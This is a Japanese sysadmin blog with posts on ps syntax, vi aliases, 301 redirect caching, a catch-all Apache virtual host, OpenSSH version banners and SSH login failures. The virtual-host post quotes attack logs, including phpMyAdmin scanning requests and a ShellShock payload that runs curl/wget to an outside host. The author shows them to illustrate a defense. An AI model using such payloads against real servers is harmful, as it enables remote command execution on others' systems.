mochikoAsTechのdig日記

当方好きなコマンドはdigです!お友達から!!よろしくお願いします!!!

ps -aux叩いたらWarningが出た

$ ps -aux
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ

というように、ps -aux叩いたらシンタックスの誤りを指摘されたので、言われた通り /usr/share/doc/procps-3.2.8/FAQ を見てみたら、まんま「なんでps -aux叩くと、ハイフンについて文句言われるのか?」が書いてあった。

Why does "ps -aux" complain about a bogus '-'?

According to the POSIX and UNIX standards, the above command asks to display
all processes with a TTY (generally the commands users are running) plus all
processes owned by a user named "x". If that user doesn't exist, then ps will
assume you really meant "ps aux". The warning is given to gently break you of a
habit that will cause you trouble if a user named "x" were created.

要約すると「お前が実行したいのはps auxだと思うけど、ps -auxだと本当は出力結果違うから、次からはハイフンなしを使えよ」と注意されてる模様。

「ps aux」だとuが「ユーザー指向のフォーマットでプロセスを」、axが「全て表示」なんだけど、

「ps -aux」だと、-uxが「このユーザ(x)のプロセスを」、-a が「全て表示」になって、xのプロセスが出ちゃうのか。

ハイフンありとなしで全然違うオプションなんだね、その辺はman psしたら詳しく書いてあった。

たまたま「x」という名前のユーザが居なければ、「ps -aux」でも「ps aux」と同じ結果が得られるけど、それはpsコマンドの親切心から来るもので、いずれは変更される可能性もあるし、そもそもxというユーザが作られたらそこで終わりなので、早めにハイフンなしを使うことに慣れとけよ、という忠告なんだね。ありがとう、psコマンド。

rootだけvimじゃなくてvi使わされてるのなんで?

ここからここまでぜーんぶ先頭に「//」を入れてコメントアウトしたーい!みたいなときに、vimの短形ビジュアルモード便利!と思ったけど、viじゃ使えないのか・・・vim限定なのか・・・・つーかもうシンボリックリンクになってて、この2つ完全に同じだと思ってた・・・ということがあったのでメモっておく。

一般ユーザとrootユーザでviの中身は違う

そもそも私の中の理解は「viがもっと改良されたのがvim。でも最近はviって打っても、実体としてはvim使ってるので、両方同じものだと思ってよい」くらいだった。

なんだけど、viとvimでなんか挙動違う!と思ったら、一般ユーザとrootユーザで、viの中身が違うんだね。

こっちが一般ユーザで「viのフルパス教えろよー」としたとき。「viはvimエイリアス(別名)だよ、フルパスは/usr/bin/vimだよ」って返事が返ってきてる。

$ which vi
alias vi='vim'
/usr/bin/vim

そしてこっちがrootユーザで同じこと聞いたとき。「viのフルパスは/bin/viだよ」って返ってきてる。

# which vi
/bin/vi

えー、なんでrootは生のままのvi使わされてるの・・・?

なぜrootだけ生のままのviを使わされているのか?

色々調べて行ったら、/etc/profile.d/vim.shでわざわざUIDが200以上のユーザだけに限定して「alias vi=vim」してて、そのvim.shを/etc/bashrcの中で読み込んでる。(つまりrootユーザのUIDは0なので、viにエイリアスが設定されない)

if [ -n "$BASH_VERSION" -o -n "$KSH_VERSION" -o -n "$ZSH_VERSION" ]; then
  [ -x /usr/bin/id ] || return
  ID=`/usr/bin/id -u`
  [ -n "$ID" -a "$ID" -le 200 ] && return
  # for bash and zsh, only if no alias is already set
  alias vi >/dev/null 2>&1 || alias vi=vim
fi

えー、なんでー、なんでrootユーザはvim使えないの・・・vim-enhancedパッケージのあるなしとか関係あるの?

別に自分で/root/.bashrhで「alias vi='vim'」とかしてもいいんだけど、わざわざこうしてある理由が分からないまま、設定しちゃうのも嫌だしなー。

301でリダイレクトかけるとブラウザがキャッシュするので怖い

このURLにアクセスきたら、こっちのURLにリダイレクトー、みたいなのってよくあると思うんだけど、そのリダイレクトのときに深く考えずステータスコード301使っちゃうと結構怖いなーと思ったので書いておく。

とあるサイト(example.com)で、キャンペーンページ用にサブドメイン(campaign.example.com)を切ったとする。 中身はindex.htmlというぺらいちのページのみ。

んで、キャンペーンを実施。

後日、キャンペーン終了に伴って、campaign.example.comのページは閉じることになった。 けど、終了間際まで結構なアクセスが来てたので、突然404にするのもナンだろうということで、example.comにリダイレクトさせておいてね、ということになった。

その場合に、こんな設定をしたとする。

<VirtualHost *:80>
    ServerName campaign.example.com
    Redirect 301 / http://example.com/
</VirtualHost>

これでcampaign.example.comにアクセスすると、example.comへリダイレクトされるようになった。 campaign.example.comをブラウザ(Chrome)で開いて確認、いやー、よかったよかった。

そしてさらに後日、またキャンペーンやることになった、とする。 折角だし、またcampaign.example.comでやればいいよねー、とRedirectディレクティブの設定を消す。

index.htmlをアップして、ブラウザ(Chrome)でcampaign.example.comを開くと・・・・なぜかexample.comへ飛ばされる!

え、なんで、リダイレクトの設定消してconfigtestしてApache再起動したし、なんならctrl+F5しちゃうよ? でも何回F5叩いてcampaign.example.comを開いても、example.comへ飛ばされる。

えー、なんか設定間違えたのかな?と思い、普段使ってないブラウザ(IE)でcampaign.example.comを開くと・・・ちゃんと新しいキャンペーンページが表示される。なんで?なんで?

原因はステータスコード301でリダイレクトしたこと

原因はRedirectの後ろにかいたステータスコードの「301」でした。

Apache公式の mod_alias - Apache HTTP サーバ バージョン 2.4 に書いてあるけど、HTTPステータスコードの301は「Moved Permanently(恒久的な移動)」を表すので、「このサイトは、こっちの新しいサイトに完全に引っ越したから!もうこのサイトは廃止!今後はずっと新しいサイト見てね!」的な意図を表明していることになる。

ChromeでもIEでもFirefoxでも、一度この301でリダイレクトされると、次からは元のページ(campaign.example.com)を開くときに、サーバに見に行くことすらせず、自分の中のキャッシュで「こいつはexample.comにリダイレクト」と判断して、example.comに飛ばす模様。

解消方法はブラウザのキャッシュを消すこと。 でもChromeはキャッシュ消したら、301リダイレクトの記憶も消えて、ちゃんとcampaign.example.com開けるようになるけど、調べるとIEはキャッシュ消しても301リダイレクトの記憶は消えない模様。

なので、一時的にリダイレクトするだけなら、302の「Moved Temporarily(一時的な移動)」を使うべき。というかRedirectディレクティブは後ろにステータスコード書かなければ、デフォルトが302。余計なことしないが吉。

でもステータスコードもちょっとずつ意味合い変わってるし、今だったらステータスコードの307「Temporary Redirect」を使うべきなのかなー。どうなんだろう?

ブラウザの挙動なので、サーバ側でどうにもできない恐怖

これの何が怖いって「うっかり301にしてたわー」って後日気づいても、エンドユーザひとりひとりに「キャッシュ消して」と言いまわれるはずもなく、リダイレクトしてた間に訪れた人が多ければ多いほど、新しいキャンペーンページはユーザに見てもらえなくなるってこと。

逆に、長年使ってた集客力の高いドメインを手放すときは、新しいドメインに1年くらい301でリダイレクトさせた上で手放せば、再訪のユーザがドロップキャッチの餌食になる確率は低くなるのかも。

ShellShockで改めて思ったけど、IPアドレス直打ちアクセス用のバーチャルホスト受け皿用意しておくべき

今このWordPressを乗っけてるサーバでは、名前ベースのバーチャルホストでinfra.xyzを始めとして複数のサイトが動いてる。でもhttp://153.121.58.159/みたいにIPアドレスを指定してアクセスしてきたときは、どのサイトでもなくて真っ白い画面が出るようにしてる。

IPアドレス直打ちに限らず、例えばDNSの設定は残ってるんだけど実際のサイトはもうクローズしてて無い!とか、パソコン側でhostsファイルに「example.com 153.121.58.159」って書いてhttp://example.com/にアクセスしてきたみたいな、「ウェブサーバにはたどり着いたんだけど該当するバーチャルホスト(ServerNameないしServerAlias)がない」というリクエストは全て真っ白画面に流してる

これは「該当するバーチャルホスト(ServerNameないしServerAlias)がなかった場合には、一番最初に設定されたバーチャルホストのページが表示される」というApacheの性質を利用しているだけなので、設定方法は意外と簡単。

httpd-vhosts.confみたいな1ファイルに、複数のバーチャルホストの設定をわーっと書いてる場合は、先頭に

<VirtualHost *:80>
    ServerName galbo
    DocumentRoot /var/www/galbo
    ErrorLog logs/galbo-error_log
    CustomLog logs/galbo-access_log common
</VirtualHost>

って書いて、/var/www/galboに何にも書いてないindex.html置いておけばいい。(galboの部分はなんでもいい。私はホスト名をgalboにしたので、そう書いておいただけ。実在していないドメインで問題ない)

そうじゃなくて/etc/httpd/conf.dの中とか、/usr/local/apache/conf/extraの中で、infra.xyz.confとかwww.infra.xyz.confみたいに、1つのバーチャルホストにつき1ファイルずつ作って設定を分けて書いてるぜ!という場合は、/etc/httpd/confとか/usr/local/apache/conf/の中にgalbo.confを作って、さっきと同じ設定を書いた上で、/etc/httpd/conf/httpd.confの中で

#
# Load config files from the config directory "/etc/httpd/conf.d".
#
Include conf/galbo.conf
Include conf.d/*.conf

上記のように4行目の「Include conf/galbo.conf」を追加してやればよい。(繰り返すけどgalboの部分はなんでもいい。さっき作ったconfファイルがIncludeされるようにしたいだけ) これによってgalbo.confに書いた設定が、他のバーチャルホストの設定よりも先に読み込まれれば、ファイルの先頭に書いたときと同じように「一番最初の設定」として扱われる。

どっちの方法でも、IPアドレス直打ちのアクセスは/var/www/galboに流れるので、http://153.121.58.159/を開いても真っ白ページが表示されるのでした。やり方の説明おしまい。

それで何が嬉しいかと言うと!結構すごい!サイトへの攻撃をがっつり防げるようになる! ご覧ください!こちらが真っ白ページに流れてきたアクセスログ(/etc/httpd/logs/galbo-access_log)の一部です!

93.174.93.119 - - [25/Sep/2014:08:13:30 +0900] "GET //phpMyAdmin-2.10.0.0/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:31 +0900] "GET //phpMyAdmin-2.10.0.1/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:31 +0900] "GET //phpMyAdmin-2.10.0.2/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:32 +0900] "GET //phpMyAdmin-2.10.0/scripts/setup.php HTTP/1.1" 404 297
93.174.93.119 - - [25/Sep/2014:08:13:32 +0900] "GET //phpMyAdmin-2.10.1.0/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:33 +0900] "GET //phpMyAdmin-2.10.2.0/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:33 +0900] "GET //phpMyAdmin-2.11.0.0/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:34 +0900] "GET //phpMyAdmin-2.11.1-all-languages/scripts/setup.php HTTP/1.1" 404 311
93.174.93.119 - - [25/Sep/2014:08:13:34 +0900] "GET //phpMyAdmin-2.11.1.0/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:35 +0900] "GET //phpMyAdmin-2.11.1.1/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:35 +0900] "GET //phpMyAdmin-2.11.1.2/scripts/setup.php HTTP/1.1" 404 299
93.174.93.119 - - [25/Sep/2014:08:13:36 +0900] "GET //phpMyAdmin-2.6.1-pl2/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:36 +0900] "GET //phpMyAdmin-2.6.1-pl3/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:37 +0900] "GET //phpMyAdmin-2.6.4-pl3/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:37 +0900] "GET //phpMyAdmin-2.6.4-pl4/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:38 +0900] "GET //phpMyAdmin-2.6.4-rc1/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:38 +0900] "GET //phpMyAdmin-2.6.5/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:39 +0900] "GET //phpMyAdmin-2.6.6/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:39 +0900] "GET //phpMyAdmin-2.6.9/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:40 +0900] "GET //phpMyAdmin-2.7.0-beta1/scripts/setup.php HTTP/1.1" 404 302
93.174.93.119 - - [25/Sep/2014:08:13:41 +0900] "GET //phpMyAdmin-2.7.0-pl1/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:41 +0900] "GET //phpMyAdmin-2.7.0-pl2/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:42 +0900] "GET //phpMyAdmin-2.7.0-rc1/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:42 +0900] "GET //phpMyAdmin-2.7.5/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:43 +0900] "GET //phpMyAdmin-2.7.6/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:43 +0900] "GET //phpMyAdmin-2.7.7/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:44 +0900] "GET //phpMyAdmin-2.8.2.3/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:44 +0900] "GET //phpMyAdmin-2.8.2/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:45 +0900] "GET //phpMyAdmin-2.8.3/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:45 +0900] "GET //phpMyAdmin-2.8.4/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:46 +0900] "GET //phpMyAdmin-2.8.5/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:46 +0900] "GET //phpMyAdmin-2.8.6/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:47 +0900] "GET //phpMyAdmin-2.8.7/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:47 +0900] "GET //phpMyAdmin-2.8.8/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:48 +0900] "GET //phpMyAdmin-2.8.9/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:48 +0900] "GET //phpMyAdmin-2.9.0-rc1/scripts/setup.php HTTP/1.1" 404 300
93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.1/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:49 +0900] "GET //phpMyAdmin-2.9.0.2/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.0/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:50 +0900] "GET //phpMyAdmin-2.9.1/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:51 +0900] "GET //phpMyAdmin-2.9.2/scripts/setup.php HTTP/1.1" 404 296
93.174.93.119 - - [25/Sep/2014:08:13:51 +0900] "GET //phpMyAdmin-2/scripts/setup.php HTTP/1.1" 404 292
93.174.93.119 - - [25/Sep/2014:08:13:52 +0900] "GET //phpMyAdmin-3.0.0-rc1-english/scripts/setup.php HTTP/1.1" 404 308
93.174.93.119 - - [25/Sep/2014:08:13:52 +0900] "GET //phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1" 404 312
93.174.93.119 - - [25/Sep/2014:08:13:53 +0900] "GET //phpMyAdmin-3.0.1.0-english/scripts/setup.php HTTP/1.1" 404 306
93.174.93.119 - - [25/Sep/2014:08:13:53 +0900] "GET //phpMyAdmin-3.0.1.0/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:54 +0900] "GET //phpMyAdmin-3.0.1.1/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:54 +0900] "GET //phpMyAdmin-3.1.0.0-english/scripts/setup.php HTTP/1.1" 404 306
93.174.93.119 - - [25/Sep/2014:08:13:55 +0900] "GET //phpMyAdmin-3.1.0.0/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:55 +0900] "GET //phpMyAdmin-3.1.1.0-all-languages/scripts/setup.php HTTP/1.1" 404 312
93.174.93.119 - - [25/Sep/2014:08:13:56 +0900] "GET //phpMyAdmin-3.1.2.0-all-languages/scripts/setup.php HTTP/1.1" 404 312
93.174.93.119 - - [25/Sep/2014:08:13:57 +0900] "GET //phpMyAdmin-3.1.2.0-english/scripts/setup.php HTTP/1.1" 404 306
93.174.93.119 - - [25/Sep/2014:08:13:57 +0900] "GET //phpMyAdmin-3.1.2.0/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:58 +0900] "GET //phpMyAdmin-3.4.3.1/scripts/setup.php HTTP/1.1" 404 298
93.174.93.119 - - [25/Sep/2014:08:13:58 +0900] "GET //phpMyAdmin2/scripts/setup.php HTTP/1.1" 404 291
93.174.93.119 - - [25/Sep/2014:08:13:59 +0900] "GET //phpMyAdmin3/scripts/setup.php HTTP/1.1" 404 291

ものの30秒の間に無茶苦茶攻撃受けてる。phpMyAdminのあらゆるバージョンがないか試されてる・・・うわー・・・。 続いてエラーログ(/etc/httpd/logs/galbo-error_log)も見てみましょう。

[Sun Sep 28 03:31:46 2014] [error] [client 107.170.88.22] Directory index forbidden by Options directive: /var/www/html/, referer: () { :;}; /bin/bash -c 'curl http://197.242.148.29:8088/reg/153.12
1.58.159/$(whoami)/ || wget http://197.242.148.29:8088/reg/153.121.58.159/$(whoami)/'

ShellShock狙った攻撃も来てたー!

でも/var/www/galboの中は空っぽ!真っ白のindex.html以外何にもないので、phpMyAdminの不正ログインを狙った攻撃をされても、Bash脆弱性を突いた攻撃をされても、問題ありません。

要は、攻撃は「IPアドレス直打ちで来る」ものが多いので、そこをひらりマントのごとく、この対策をしておけば結構色々防げるなーと。(実際infra.xyzの方のアクセスログやエラーログにはこういうの来てなくて、きれいなものである)

だってさくらのVPSでこのサーバ借りて4か月ちょっとだけど、その間に1429件もこういう攻撃(とおぼしきアクセス)来てるのですよ。サーバってほんとに攻撃くるんだねー。なんかこうオレオレ詐欺の電話が掛かってきた!みたいに興奮してしまったけど、この対策しておいてよかった。

OpenSSHはなぜバージョン情報を簡単に非公開にできないのか?

先日落ちたLPIC202で「OpenSSHは修正してコンパイルし直さないとバージョン情報が出る。デフォルトでバージョン情報が『公開』になっているのには理由があるがそれはなぜか?」という問題が出てた。その時は「接続に必要な情報として、クライアント側にSSHサーバのバージョン情報を伝えた方がいいから」という選択肢を選んで、それはまあ結果として合ってたんだけど、詳細を調べたのでまとめておく。

OpenSSHはデフォルトで自分のバージョン情報を表示する

たとえばサーバにtelnetで入ろうとすると、こんな感じでOpenSSHのバージョンが表示される。

# telnet localhost
Trying ::1...
Connected to localhost.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.3

BINDならnamed.confのoptionsステートメント内でversionオプションを追加して、Apacheならhttpd.confのServerTokensディレクティブでProdを指定して、そうすることでバージョン情報を隠すのがセキュリティの常套手段(なぜならば特定のバージョンで脆弱性が見つかったときに、バージョン情報を開示してると「僕ね!脆弱性あるよ!」と自ら言ってるようなものだから)なのに、OpenSSHの設定ファイルにはどうもそういう設定が見当たらないし、デフォルトででーんと公開している。

隠すことも出来るけど何かダメっぽい

OpenSSH バージョン 非表示」とかで検索すると、みんな「できない」「ソースいじってコンパイルし直せばいけるけど、あんまりよくないっぽい」っていう話はしてるけど、OpenSSHがなんでその方針なのかが見つからず。OpenSSHだけなんでバージョン情報を簡単に非公開にできないんだろう?

コメント#1213407 | サーバのバージョンは隠すのが常識? | スラッシュドット・ジャパン

と思ったら答えは公式サイトに書いてあった

何はともあれ公式情報を見てみよう!と、 http://openssh.comFAQ開いてversionで検索したらあったー!

http://www.openssh.com/faq.html#2.14

2.14 - Why does OpenSSH report its version to clients? OpenSSH, like most SSH implementations, reports its name and version to clients when they connect, e.g. SSH-2.0-OpenSSH_3.9 This information is used by clients and servers to enable protocol compatibility tweaks to work around changed, buggy or missing features in the implementation they are talking to. This protocol feature checking is still required at present because versions with incompatibilities are still in wide use.

 

頑張って翻訳すると、「バージョン情報は、接続先SSHサーバとのプロトコルの互換性を有効にする調整のために、サーバとクライアントによって使用される。非互換のバージョンはまだ広く使われているので、このプロトコル機能のチェックは現在もまだ必要とされている」かな。SSHサーバのバージョンと、SSHクライアントのバージョンに互換性がない場合でも、サーバ側のOpenSSHのバージョンをクライアントに知らせることでうまく接続できるような仕組みになってるから、隠しちゃうと「うまくいかない」んだね。

ほんとに・・・こんなこまかい問題でるんだから、完全に理解してないと試験勉強程度で受かるわけないよねー、LPIC202。(白目)

サーバにログインできない!ときのよくある原因と解決方法 7パターン

サーバにログインできない!ときのよくある原因と解決方法をまとめたー。主に自分のために!

  • 接続元のPCで出るエラーメッセージ
  • 接続先のサーバで出るエラーメッセージ
  • ログインできない原因
  • 解決方法

をそれぞれ書いておいたので、きっと未来の自分を助けてくれるはず・・・。 前提として、192.168.146.128のサーバに対して、mochikoAsTechというユーザ名でログインしようとしています。

よくある原因 1. authorized_keysのパーミッションが緩すぎる

  • ログインできないときのPuTTYのエラーメッセージ
PuTTY 致命的エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
  •  ログインできないときのWinSCPのエラーメッセージ
エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochikoAsTech" を使用中
認証に失敗
  •  ログインできないときの/var/log/secure のエラーメッセージ
sshd[3016]: Authentication refused: bad ownership or modes for file /home/mochikoAsTech/.ssh/authorized_keys
sshd[3019]: Received disconnect from 192.168.146.1: 14: No supported authentication methods available
  •  ログインできない原因 公開鍵を置いているauthorized_keysのパーミッションで、groupやotherに対してwの権限がついてるから。 例えばこんなんになってる。
$ ls -l
-rw-rw-r-- 1 mochikoAsTech mochikoAsTech 400 Feb 22 09:58 authorized_keys
  •  解説 authorized_keysのパーミッションは、600のように「オーナーのみにwの権限がついてて、他の人が書き込めない状態」じゃないとログインできない。公開鍵を自分以外のユーザがへいほい追加できるような状態は不安全なので当然と言えば当然。
  • 解決方法 atuthorized_keysのパーミッションを600(rw- --- ---)にする。groupとotherにwがついていなければいいので、640(rw- r-- ---)や644(rw- r-- r--)や655(rw- r-x r-x)などでもOK。
$ chmod 600 authorized_keys
$ ls -l
-rw------- 1 mochikoAsTech mochikoAsTech 400 Feb 22 09:58 authorized_keys

よくある原因 2. .sshディレクトリのパーミッションが緩すぎる

  • ログインできないときのPuTTYのエラーメッセージ
PuTTY 致命的エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
  • ログインできないときのWinSCPのエラーメッセージ
エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochikoAsTech" を使用中
認証に失敗
  • ログインできないときの/var/log/secure のエラーメッセージ
sshd[3160]: Authentication refused: bad ownership or modes for directory /home/mochikoAsTech/.ssh
sshd[3163]: Received disconnect from 192.168.146.1: 14: No supported authentication methods available
$ ls -la
drwxrwxr-x 2 mochikoAsTech mochikoAsTech 4096 Mar 8 07:53 .ssh
  •  解説 .sshディレクトリもauthorized_keysのパーミッションと同様に、700のように「オーナーのみにwの権限がついてて、他の人が書き込めない状態」じゃないとログインできない。(これって他のユーザが適当なファイルをsshディレクトリ以下に作って、シンボリックリンクを貼ったらauthorized_keys変えられるから?誰か教えてー)
  • 解決方法 .sshディレクトリのパーミッションを700(rwx --- ---)にする。groupとotherにwがついていなければいいので、740(rwx r-- ---)や744(rwx r-- r--)などでもOK。
$ chmod 700 .ssh
$ ls -la
drwx------ 2 mochikoAsTech mochikoAsTech 4096 Mar 8 08:47 .ssh

 よくある原因 3. 該当するユーザがいない or ユーザ名が間違っている

  • ログインできないときのPuTTYのエラーメッセージ
PuTTY 致命的エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
  • ログインできないときのWinSCPのエラーメッセージ
エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochiko" を使用中
認証に失敗
  • ログインできないときの/var/log/secure のエラーメッセージ
sshd[4503]: Invalid user mochiko from 192.168.146.1
sshd[4506]: input_userauth_request: invalid user mochiko
sshd[4506]: Received disconnect from 192.168.146.1: 14: No supported authentication methods available
  • ログインできない原因 mochikoというユーザが存在しないから。(mochikoAsTechというユーザは存在している)
$ id mochiko
id: mochiko: No such user
$ id mochikoAsTech
uid=500(mochikoAsTech) gid=500(mochikoAsTech) groups=500(mochikoAsTech),10(wheel)
  • 解説 ユーザ名を間違えてるという意外とありがちなパターン。存在しないユーザでログインは出来ない。
  • 解決方法 正しいユーザ名でログインする。存在しているユーザ名を参照したいなら/etc/passwdを見るか、idコマンドで確認する。
$ cat /etc/passwd

よくある原因 4. ユーザのパスワードがロックされている

  • ログインできないときのPuTTYのエラーメッセージ 過去に何度かこれで引っかかってるんだけど、今回なぜか上手く再現できず。確かこんなメッセージだった気が・・・違うかも・・・。
PuTTY 致命的エラー
サーバが突然ネットワーク接続を閉じました
  • ログインできないときのWinSCPのエラーメッセージ これも再現できなかったので、多分こんなメッセージだった気が・・・なんでエラーって後で再現しようとすると大体出来ないんだ・・・。
エラー
サーバがネットワーク接続を閉じました
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochikoAsTech" を使用中
エージェントからの公開鍵 "comment" で認証中
認証に失敗
  • ログインできないときの/var/log/secure のエラーメッセージ これも再現できなかっ(ry けど、過去のメモを見るとこんなんだった模様。
sshd[4869]: User mochikoAsTech not allowed because account is locked
  • ログインできない原因 ユーザのパスワードがロックされているから。(パスワードが設定されているでも、未設定でEmptyになっているでもなくロックされているから) ロックされているかどうかはpasswdコマンドの-Sオプションで確認できる。 ちなみにロックされているときは「Password locked」なので「LK」だけど、パスワードが設定されているときは「Password set」で「PS」、パスワードが未設定のときは「Empty password(No password)」で「NP」な模様。(/etc/shadow見てもわかるかなーと思ったけど、ロックされているものも未設定でEmptyになっているものもどっちもただの「!!」なので区別つかなかった・・・)
$ passwd -S mochikoAsTech  ← -Sオプションで現在のパスワードの状態を確認
mochikoAsTech LK 2014-03-08 0 99999 7 -1 (Password locked.)

例えばなんかの理由でユーザを消しちゃって、バックアップからユーザを戻そうと、こんな感じで頑張ったのに、ロックされていてログイン出来ないという。

# vigr  ←手動で/etc/groupと/etc/gshadowを編集してグループを作って
You are using shadow groups on this system.
Would you like to edit /etc/gshadow now [y/n]? y
# vipw  ←手動で/etc/passwdと/etc/shadowを編集してユーザを作って
You are using shadow passwords on this system.
Would you like to edit /etc/shadow now [y/n]? y
# mkdir -p /home/mochikoAsTech/.ssh  ←ホームディレクトリ作って
# chmod 700 /home/mochikoAsTech/.ssh  ←.sshディレクトリのパーミッション直して
# vi /home/mochikoAsTech/.ssh/authorized_keys   ←公開鍵を設置して
# chmod 600 authorized_keys  ←authorized_keysのパーミッション直して
# chown -R mochikoAsTech:mochikoAsTech /home/mochikoAsTech  ←ホームディレクトリ以下のオーナーを直した
# id mochikoAsTech   ←mユーザできてる!なのにロックされててログインできない!
uid=500(mochikoAsTech) gid=500(mochikoAsTech) groups=500(mochikoAsTech)
  • 解決方法 ユーザのパスワードロックを解除する。いちばん楽なのは、パスワードを設定して、不要ならそのあとパスワードを削除して未設定状態に戻す。これでログインできるようになる。 ちなみにusermod -Uとかpasswd -uでアンロックしようとしても、パスワードが未設定だとエラーも吐かずにしらっと「何もしない」ので、「アンロックしたのに!したのにいつまでもaccount is lockedって出る!」と悩む羽目になる。ひどい。 あとパスワードわざわざ削除してるのは、こんな感じの理由で。
# passwd -S mochikoAsTech  ←パスワードの状態を確認
mochikoAsTech LK 2014-03-08 0 99999 7 -1 (Password locked.)  ←ロックされてる
# passwd mochikoAsTech  ←パスワードを設定する
Changing password for user mochikoAsTech.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
# passwd -S mochikoAsTech  ←再度パスワードの状態を確認
mochikoAsTech PS 2014-03-08 0 99999 7 -1 (Password set, MD5 crypt.) ←パスワードが設定されてる。この時点でもうログインできるようになっているはず!
# passwd -d mochikoAsTech  ← -d(delete)オプションでパスワードを削除
Removing password for user mochikoAsTech.
passwd: Success
# passwd -S mochikoAsTech  ←パスワードが未設定状態になった
mochikoAsTech NP 2014-03-08 0 99999 7 -1 (Empty password.)

よくある原因 5. 公開鍵が設置されていない or 公開鍵が間違っている

  • ログインできないときのPuTTYのエラーメッセージ
PuTTY 致命的エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
  • ログインできないときのWinSCPのエラーメッセージ
エラー
Disconnected: No supported authentication methods available (server sent: publickey,gssapi-with-mic)
認証ログ (詳細はセッションログを見て下さい):
ユーザ名"mochikoAsTech" を使用中
認証に失敗
  • ログインできないときの/var/log/secure のエラーメッセージ
sshd[5545]: Received disconnect from 192.168.146.1: 14: No supported authentication methods available
  • ログインできない原因 authorized_keysファイルがない、またはauthorized_keysの中身が空っぽで公開鍵が設置されていない、または公開鍵が間違っている(=authorized_keysの中の公開鍵に余計な文字が入ったり、削除されてしまったり、自分のPCで使用している秘密鍵とペアじゃない公開鍵が設置されている)から。
  • 解説 秘密鍵とペアになる公開鍵がサーバになければ、鍵認証が成立しないのでログイン出来ないのは当然。 鍵ペアの作り方がよく分からず、何組か鍵ペアを作ってしまったときにありがち。
